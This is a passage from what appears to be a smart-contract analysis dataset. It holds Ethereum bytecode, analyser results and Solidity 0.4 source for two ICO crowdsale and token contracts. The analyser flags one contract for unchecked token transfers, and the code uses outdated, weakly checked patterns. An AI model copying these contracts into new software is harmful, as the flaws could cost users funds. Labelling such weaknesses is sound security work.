ffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f1935050505015801561100b573d6000803e3d6000fd5b506110153061135f565b9050611043600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168261156d565b50600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b600080600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050808311156111df576000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611273565b6111f28382611eff90919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60075481565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f425954000000000000000000000000000000000000000000000000000000000081525081565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561146b57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141515156114a757600080fd5b8173ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fb532073b38c83145e3e5135377a08bf9aab55bc0fd7c1179cd4fb995d2a5159c60405160405180910390a381600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000600260046020820201600036905014151561158657fe5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141515156115c257600080fd5b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054831115151561161057600080fd5b600360009054906101000a900460ff16151561162b57600080fd5b61167d83600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611eff90919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061171283600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cbc90919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600191505092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561182157600080fd5b6001600860146101000a81548160ff021916908315150217905550565b600360009054906101000a900460ff1681565b60006118e282600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cbc90919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b60006002600460208202016000369050141515611a6657fe5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205491505092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611b4857600080fd5b6000600860146101000a81548160ff021916908315150217905550565b600860149054906101000a900460ff1681565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611bd457600080fd5b80600360006101000a81548160ff02191690831515021790555050565b600080611bfd83611f18565b905060046000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115611cb2577f77fcbebee5e7fc6abb70669438e18dae65fc2057b32b694851724c2726a35b6260075482604051808381526020018281526020019250505060405180910390a160009150611cb6565b8091505b50919050565b6000808284019050838110151515611cd057fe5b8091505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515611d1757600080fd5b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548311151515611d6557600080fd5b611db783600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cbc90919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e4c83600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611eff90919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600190509392505050565b6000828211151515611f0d57fe5b818303905092915050565b600080600090506000831415611f3657600860ff16600a0a60c80290505b66038d7ea4c68000831415611f5457600860ff16600a0a61012c0290505b66071afd498d0000831415611f7257600860ff16600a0a6102580290505b660aa87bee538000831415611f9057600860ff16600a0a6103840290505b660e35fa931a0000831415611fae57600860ff16600a0a6104b00290505b6611c37937e08000831415611fcc57600860ff16600a0a6105dc0290505b661550f7dca70000831415611fea57600860ff16600a0a6107080290505b6618de76816d800083141561200857600860ff16600a0a6108340290505b661c6bf52634000083141561202657600860ff16600a0a6109600290505b661ff973cafa800083141561204457600860ff16600a0a610a8c0290505b662386f26fc1000083141561206257600860ff16600a0a610bb80290505b66470de4df82000083141561208057600860ff16600a0a6117700290505b666a94d74f43000083141561209e57600860ff16600a0a6123280290505b668e1bc9bf0400008314156120bc57600860ff16600a0a612ee00290505b66b1a2bc2ec500008314156120da57600860ff16600a0a613a980290505b66d529ae9e8600008314156120f857600860ff16600a0a6146500290505b66f8b0a10e47000083141561211657600860ff16600a0a6152080290505b67011c37937e08000083141561213557600860ff16600a0a615dc00290505b67013fbe85edc9000083141561215457600860ff16600a0a6169780290505b67016345785d8a000083141561217357600860ff16600a0a6175300290505b6702c68af0bb14000083141561219257600860ff16600a0a61ea600290505b670429d069189e00008314156121b257600860ff16600a0a62015f900290505b67058d15e1762800008314156121d257600860ff16600a0a6201d4c00290505b6706f05b59d3b200008314156121f257600860ff16600a0a62036ee80290505b670853a0d2313c000083141561221257600860ff16600a0a6202bf200290505b6709b6e64a8ec6000083141561223257600860ff16600a0a620334500290505b670b1a2bc2ec50000083141561225257600860ff16600a0a6203a9800290505b670c7d713b49da000083141561227257600860ff16600a0a62041eb00290505b670de0b6b3a764000083141561229257600860ff16600a0a620927c00290505b809150509190505600a165627a7a72305820b1d4334e6db6c8dd8d65765e38ecf62e2648591cded1ff8b88f815b9cd29b8700029
|
{"success": true, "error": null, "results": {}}
| 9,135 |
0xc699d90671cb8373f21060592d41a7c92280adc4
|
pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
owner = newOwner;
}
}
contract Token {
function totalSupply() constant public returns (uint256 supply);
function balanceOf(address _owner) constant public returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success) ;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) ;
function approve(address _spender, uint256 _value) public returns (bool success) ;
function allowance(address _owner, address _spender) constant public returns (uint256 remaining) ;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
uint public decimals;
string public name;
}
/**
* @title Crowdsale
* @dev Crowdsale is a base contract for managing a token crowdsale.
* Crowdsales have a start and end timestamps, where Contributors can make
* token Contributions and the crowdsale will assign them tokens based
* on a token per ETH rate. Funds collected are forwarded to a wallet
* as they arrive. The contract requires a MintableToken that will be
* minted as contributions arrive, note that the crowdsale contract
* must be owner of the token in order to be able to mint it.
*/
contract Crowdsale is Ownable {
using SafeMath for uint256;
// totalTokens
uint256 public totalTokens;
// soft cap
uint softcap;
// hard cap
uint hardcap;
Token public token;
// balances for softcap
mapping(address => uint) public balances;
// balances for softcap
mapping(address => uint) public balancesToken;
// The token being offered
// start and end timestamps where investments are allowed (both inclusive)
//pre-sale
//start
uint256 public startPreSale;
//end
uint256 public endPreSale;
//ico
//start
uint256 public startIco;
//end
uint256 public endIco;
//token distribution
uint256 public maxPreSale;
uint256 public maxIco;
uint256 public totalPreSale;
uint256 public totalIco;
// how many token units a Contributor gets per wei
uint256 public ratePreSale;
uint256 public rateIco;
// address where funds are collected
address public wallet;
// minimum quantity values
uint256 public minQuanValues;
uint256 public maxQuanValues;
/**
* event for token Procurement logging
* @param contributor who Pledged for the tokens
* @param beneficiary who got the tokens
* @param value weis Contributed for Procurement
* @param amount amount of tokens Procured
*/
event TokenProcurement(address indexed contributor, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale() public {
//soft cap
softcap = 5000 * 1 ether;
hardcap = 20000 * 1 ether;
// min quantity values
minQuanValues = 100000000000000000; //0.1 eth
// max quantity values
maxQuanValues = 27 * 1 ether; //
// start and end timestamps where investments are allowed
//Pre-sale
//start
startPreSale = 1523260800;//09 Apr 2018 08:00:00 +0000
//end
endPreSale = 1525507200;//05 May 2018 08:00:00 +0000
//ico
//start
startIco = 1525507200;//05 May 2018 08:00:00 +0000
//end
endIco = startIco + 6 * 7 * 1 days;
// rate;
ratePreSale = 382;
rateIco = 191;
// restrictions on amounts during the crowdfunding event stages
maxPreSale = 30000000 * 1 ether;
maxIco = 60000000 * 1 ether;
// address where funds are collected
wallet = 0x04cFbFa64917070d7AEECd20225782240E8976dc;
}
function setratePreSale(uint _ratePreSale) public onlyOwner {
ratePreSale = _ratePreSale;
}
function setrateIco(uint _rateIco) public onlyOwner {
rateIco = _rateIco;
}
// fallback function can be used to Procure tokens
function () external payable {
procureTokens(msg.sender);
}
function setToken(address _address) public onlyOwner {
token = Token(_address);
}
// low level token Pledge function
function procureTokens(address beneficiary) public payable {
uint256 tokens;
uint256 weiAmount = msg.value;
uint256 backAmount;
require(beneficiary != address(0));
//minimum amount in ETH
require(weiAmount >= minQuanValues);
//maximum amount in ETH
require(weiAmount.add(balances[msg.sender]) <= maxQuanValues);
//hard cap
address _this = this;
require(hardcap > _this.balance);
//Pre-sale
if (now >= startPreSale && now < endPreSale && totalPreSale < maxPreSale){
tokens = weiAmount.mul(ratePreSale);
if (maxPreSale.sub(totalPreSale) <= tokens){
endPreSale = now;
startIco = now;
endIco = startIco + 6 * 7 * 1 days;
}
if (maxPreSale.sub(totalPreSale) < tokens){
tokens = maxPreSale.sub(totalPreSale);
weiAmount = tokens.div(ratePreSale);
backAmount = msg.value.sub(weiAmount);
}
totalPreSale = totalPreSale.add(tokens);
}
//ico
if (now >= startIco && now < endIco && totalIco < maxIco){
tokens = weiAmount.mul(rateIco);
if (maxIco.sub(totalIco) < tokens){
tokens = maxIco.sub(totalIco);
weiAmount = tokens.div(rateIco);
backAmount = msg.value.sub(weiAmount);
}
totalIco = totalIco.add(tokens);
}
require(tokens > 0);
balances[msg.sender] = balances[msg.sender].add(msg.value);
balancesToken[msg.sender] = balancesToken[msg.sender].add(tokens);
if (backAmount > 0){
msg.sender.transfer(backAmount);
}
emit TokenProcurement(msg.sender, beneficiary, weiAmount, tokens);
}
function getToken() public{
address _this = this;
require(_this.balance >= softcap && now > endIco);
uint value = balancesToken[msg.sender];
balancesToken[msg.sender] = 0;
token.transfer(msg.sender, value);
}
function refund() public{
address _this = this;
require(_this.balance < softcap && now > endIco);
require(balances[msg.sender] > 0);
uint value = balances[msg.sender];
balances[msg.sender] = 0;
msg.sender.transfer(value);
}
function transferTokenToMultisig(address _address) public onlyOwner {
address _this = this;
require(_this.balance >= softcap && now > endIco);
token.transfer(_address, token.balanceOf(_this));
}
function transferEthToMultisig() public onlyOwner {
address _this = this;
require(_this.balance >= softcap && now > endIco);
wallet.transfer(_this.balance);
}
}
|
0x6060604052600436106101445763ffffffff60e060020a600035041662573858811461014f57806309e0a77c14610165578063144fa6d71461018a57806321df0da7146101a9578063228cc2aa146101bc57806327e235e3146101cf5780633e3934b7146101ee578063476a73ec1461020d578063489d426e14610220578063521eb2731461023357806355dd574c14610262578063590e1ae3146102755780636de74bbe146102885780637e1c0c091461029e57806389311e6f146102b15780638da5cb5b146102c4578063c70dd8b3146102d7578063d6823455146102eb578063e346b380146102fe578063e657807b14610311578063ee889ed014610324578063ef387a5014610337578063ef9c52ea1461034a578063f2fde38b1461035d578063fad3f8f71461037c578063fc0c546a1461038f578063fc996038146103a2575b61014d336103c1565b005b341561015a57600080fd5b61014d6004356106e9565b341561017057600080fd5b610178610709565b60405190815260200160405180910390f35b341561019557600080fd5b61014d600160a060020a036004351661070f565b34156101b457600080fd5b61014d610759565b34156101c757600080fd5b610178610815565b34156101da57600080fd5b610178600160a060020a036004351661081b565b34156101f957600080fd5b61014d600160a060020a036004351661082d565b341561021857600080fd5b61014d610925565b341561022b57600080fd5b6101786109a8565b341561023e57600080fd5b6102466109ae565b604051600160a060020a03909116815260200160405180910390f35b341561026d57600080fd5b6101786109bd565b341561028057600080fd5b61014d6109c3565b341561029357600080fd5b61014d600435610a5f565b34156102a957600080fd5b610178610a7f565b34156102bc57600080fd5b610178610a85565b34156102cf57600080fd5b610246610a8b565b61014d600160a060020a03600435166103c1565b34156102f657600080fd5b610178610a9a565b341561030957600080fd5b610178610aa0565b341561031c57600080fd5b610178610aa6565b341561032f57600080fd5b610178610aac565b341561034257600080fd5b610178610ab2565b341561035557600080fd5b610178610ab8565b341561036857600080fd5b61014d600160a060020a0360043516610abe565b341561038757600080fd5b610178610b1d565b341561039a57600080fd5b610246610b23565b34156103ad57600080fd5b610178600160a060020a0360043516610b32565b6000348180600160a060020a03851615156103db57600080fd5b6012548310156103ea57600080fd5b601354600160a060020a03331660009081526005602052604090205461041790859063ffffffff610b4416565b111561042257600080fd5b506003543090600160a060020a03821631901161043e57600080fd5b6007544210158015610451575060085442105b80156104605750600b54600d54105b1561052257600f5461047990849063ffffffff610b5e16565b935083610493600d54600b54610b8990919063ffffffff16565b116104ac57426008819055600981905562375f0001600a555b836104c4600d54600b54610b8990919063ffffffff16565b101561050b57600d54600b546104df9163ffffffff610b8916565b93506104f6600f5485610b9b90919063ffffffff16565b9250610508348463ffffffff610b8916565b91505b600d5461051e908563ffffffff610b4416565b600d555b60095442101580156105355750600a5442105b80156105445750600c54600e54105b156105d55760105461055d90849063ffffffff610b5e16565b935083610577600e54600c54610b8990919063ffffffff16565b10156105be57600e54600c546105929163ffffffff610b8916565b93506105a960105485610b9b90919063ffffffff16565b92506105bb348463ffffffff610b8916565b91505b600e546105d1908563ffffffff610b4416565b600e555b600084116105e257600080fd5b600160a060020a03331660009081526005602052604090205461060b903463ffffffff610b4416565b600160a060020a033316600090815260056020908152604080832093909355600690522054610640908563ffffffff610b4416565b600160a060020a03331660009081526006602052604081209190915582111561069457600160a060020a03331682156108fc0283604051600060405180830381858888f19350505050151561069457600080fd5b84600160a060020a031633600160a060020a03167fc572ca10587a0dfbc95b3d9da25b40b8d71a47daa5db9aefa45eb6c99517aa92858760405191825260208201526040908101905180910390a35050505050565b60005433600160a060020a0390811691161461070457600080fd5b601055565b600e5481565b60005433600160a060020a0390811691161461072a57600080fd5b6004805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6002543090600090600160a060020a038316311080159061077b5750600a5442115b151561078657600080fd5b50600160a060020a033381811660009081526006602052604080822080549290556004549193919091169163a9059cbb9184905160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156107fa57600080fd5b5af1151561080757600080fd5b505050604051805150505050565b60135481565b60056020526000908152604090205481565b6000805433600160a060020a0390811691161461084957600080fd5b30905060025481600160a060020a031631101580156108695750600a5442115b151561087457600080fd5b600454600160a060020a031663a9059cbb83826370a082318560405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b15156108cb57600080fd5b5af115156108d857600080fd5b5050506040518051905060405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156107fa57600080fd5b6000805433600160a060020a0390811691161461094157600080fd5b30905060025481600160a060020a031631101580156109615750600a5442115b151561096c57600080fd5b601154600160a060020a039081169082163180156108fc0290604051600060405180830381858888f1935050505015156109a557600080fd5b50565b600f5481565b601154600160a060020a031681565b60075481565b6002543090600090600160a060020a038316311080156109e45750600a5442115b15156109ef57600080fd5b600160a060020a03331660009081526005602052604081205411610a1257600080fd5b50600160a060020a033316600081815260056020526040808220805492905590919082156108fc0290839051600060405180830381858888f193505050501515610a5b57600080fd5b5050565b60005433600160a060020a03908116911614610a7a57600080fd5b600f55565b60015481565b60095481565b600054600160a060020a031681565b60125481565b600d5481565b600a5481565b60085481565b60105481565b600c5481565b60005433600160a060020a03908116911614610ad957600080fd5b600160a060020a0381161515610aee57600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600b5481565b600454600160a060020a031681565b60066020526000908152604090205481565b600082820183811015610b5357fe5b8091505b5092915050565b600080831515610b715760009150610b57565b50828202828482811515610b8157fe5b0414610b5357fe5b600082821115610b9557fe5b50900390565b6000808284811515610ba957fe5b049493505050505600a165627a7a72305820ca285f043c7bbb4ea30401692234e38dac59089bcfe63313e6f8d4e2b0825b990029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 9,136 |
0xd3cd638c5013b70b795dd0a171376b579fc76cbc
|
pragma solidity ^0.4.21;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amout of tokens to be transfered
*/
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) returns (bool) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifing the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint _value) public {
require(_value > 0);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
event Burn(address indexed burner, uint indexed value);
}
contract AriumToken is BurnableToken {
string public constant name = "Arium Token";
string public constant symbol = "ARM";
uint32 public constant decimals = 10;
uint256 public INITIAL_SUPPLY = 400000000000000000; // supply 40 000 000
function AriumToken() {
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
}
contract AriumCrowdsale is Ownable {
using SafeMath for uint;
address multisig;
uint restrictedPercent;
address restricted;
AriumToken public token;
uint start;
uint preico;
uint rate;
uint icostart;
uint ico;
bool hardcap = false;
function AriumCrowdsale(AriumToken _token) {
token=_token;
multisig = 0xA2Bfd3EE5ffdd78f7172edF03f31D1184eE627F3; // ether holder
restricted = 0x8e7d40bb76BFf10DDe91D1757c4Ceb1A5385415B; // team holder
restrictedPercent = 13; // percent to team
rate = 10000000000000;
start = 1521849600; //start pre ico 03.24.18 00.00.00 GMT
preico = 30; // pre ico period
icostart= 1528588800; // ico start 06.10.18 00.00.00 GMT
ico = 67; // ico period
}
modifier saleIsOn() {
require((now > start && now < start + preico * 1 days) || (now > icostart && now < icostart + ico * 1 days ) );
_;
}
function createTokens() saleIsOn payable {
multisig.transfer(msg.value);
uint tokens = rate.mul(msg.value).div(1 ether);
uint bonusTokens = 0;
uint BonusPerAmount = 0;
if(msg.value >= 0.5 ether && msg.value < 1 ether){
BonusPerAmount = tokens.div(20); // 5% 5/100=1/20
} else if (msg.value >= 1 ether && msg.value < 5 ether){
BonusPerAmount = tokens.div(10); // 10%
} else if (msg.value >= 5 ether && msg.value < 10 ether){
BonusPerAmount = tokens.mul(15).div(100);
} else if (msg.value >= 10 ether && msg.value < 20 ether){
BonusPerAmount = tokens.div(5);
} else if (msg.value >= 20 ether){
BonusPerAmount = tokens.div(4);
}
if(now < start + (preico * 1 days).div(3)) {
bonusTokens = tokens.div(10).mul(3);
} else if(now >= start + (preico * 1 days).div(3) && now < start + (preico * 1 days).div(3).mul(2)) {
bonusTokens = tokens.div(5);
} else if(now >= start + (preico * 1 days).div(3).mul(2) && now < start + (preico * 1 days)) {
bonusTokens = tokens.div(10);
}
uint tokensWithBonus = tokens.add(BonusPerAmount);
tokensWithBonus = tokensWithBonus.add(bonusTokens);
token.transfer(msg.sender, tokensWithBonus);
uint restrictedTokens = tokens.mul(restrictedPercent).div(100);
token.transfer(restricted, restrictedTokens);
}
function ManualTransfer(address _to , uint ammount) saleIsOn onlyOwner payable{ //function for manual transfer(purchase with no ETH)
token.transfer(_to, rate.div(1000).mul(ammount));
}
function BurnUnsoldToken(uint _value) onlyOwner payable{ // burn unsold token after
token.burn(_value);
}
function setHardcupTrue() onlyOwner{
hardcap = true;
}
function setHardcupFalse() onlyOwner{
hardcap = false;
}
function() external payable {
createTokens();
}
}
|
0x6060604052600436106100745763ffffffff60e060020a6000350416630bca1704811461007e5780638da5cb5b14610091578063a324ed9f146100c0578063b442726314610074578063c25a796e146100cb578063d8d34c89146100de578063f2fde38b146100f5578063fc0c546a14610114575b61007c610127565b005b341561008957600080fd5b61007c610518565b341561009c57600080fd5b6100a4610542565b604051600160a060020a03909116815260200160405180910390f35b61007c600435610551565b34156100d657600080fd5b61007c6105c7565b61007c600160a060020a03600435166024356105ee565b341561010057600080fd5b61007c600160a060020a03600435166106e0565b341561011f57600080fd5b6100a461073f565b60008060008060006005544211801561014a575060065462015180026005540142105b8061016b57506008544211801561016b575060095462015180026008540142105b151561017657600080fd5b600154600160a060020a03163480156108fc0290604051600060405180830381858888f1935050505015156101aa57600080fd5b6101d7670de0b6b3a76400006101cb3460075461074e90919063ffffffff16565b9063ffffffff61077916565b945060009350600092506706f05b59d3b2000034101580156102005750670de0b6b3a764000034105b1561021d5761021685601463ffffffff61077916565b92506102e6565b670de0b6b3a7640000341015801561023c5750674563918244f4000034105b156102525761021685600a63ffffffff61077916565b674563918244f4000034101580156102715750678ac7230489e8000034105b1561028c5761021660646101cb87600f63ffffffff61074e16565b678ac7230489e8000034101580156102ac57506801158e460913d0000034105b156102c25761021685600563ffffffff61077916565b6801158e460913d0000034106102e6576102e